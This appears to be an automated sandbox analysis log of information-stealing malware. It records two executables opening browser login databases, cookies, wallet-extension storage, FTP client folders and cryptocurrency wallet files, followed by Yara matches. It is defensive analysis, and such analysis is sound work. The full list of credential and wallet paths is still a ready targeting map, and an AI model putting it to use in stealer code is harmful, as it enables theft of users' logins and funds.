Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BQJUWOYRTO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\BQJUWOYRTO
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\BQJUWOYRTO
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\BQJUWOYRTO
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP

Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe

Directory queried: number of queries: 1420

Source: Yara match	File source: 0.3.file.exe.11f72e0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.file.exe.11f72e0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000003.2084529738.0000000001193000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
